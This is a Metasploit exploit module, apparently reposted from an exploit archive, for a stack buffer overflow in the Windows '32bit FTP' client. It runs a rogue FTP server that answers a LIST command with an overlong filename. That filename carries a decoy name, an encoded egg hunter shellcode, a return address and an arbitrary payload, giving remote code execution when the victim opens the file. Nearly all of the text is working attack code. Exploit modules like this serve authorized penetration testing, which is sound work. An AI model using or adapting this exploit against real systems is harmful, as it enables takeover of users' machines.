32bit FTP Client – Remote Stack Buffer Overflow (Metasploit)
## # $Id: 32bitftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => '32bit FTP Client Stack Buffer Overflow ', 'Description' => %q{ This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to download a file that has an overly long filename. }, 'Author' => [ 'fancy', # found the bug 'corelanc0d3r' # helped writing this module ], 'License' => MSF_LICENSE, 'Version' => "$Revision: 11039 $", 'References' => [ [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00\xff\x0a", }, 'Platform' => 'win', 'Targets' => [ [ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], #RETN 32bitftp.exe ], 'Privileged' => false, 'DisclosureDate' => 'Oct 12 2010', 'DefaultTarget' => 0)) end def setup super end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_list(c,arg) code = 150 c.put("#{code} OK.\r\n") code = 226 c.put("#{code} Directory ok.\r\n") conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") filename = "\x02" #prevent crash filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter filename << " " * 77 #custom encoded egg hunter filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49" filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43" filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a" filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e" filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47" filename << "\x4b\x4f\x4d\x37\x41\x41" filename << " " * (target['Offset']-filename.length) addr1 = "\x40\x60\x3A\x76" # RW imm32.dll addr2 = "\x44\x54\x48\x00" # data section 32bitftp.exe addr3 = [target.ret].pack('V') # b00m ! strfile = filename strfile << addr3 strfile << addr2 strfile << addr1 strfile << "w00tw00t" strfile << payload.encoded print_status(" - Sending directory list via data connection") dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n" conn.put(dirlist) conn.close print_status(" - LIST sent, wait for user to double click file...") return end end |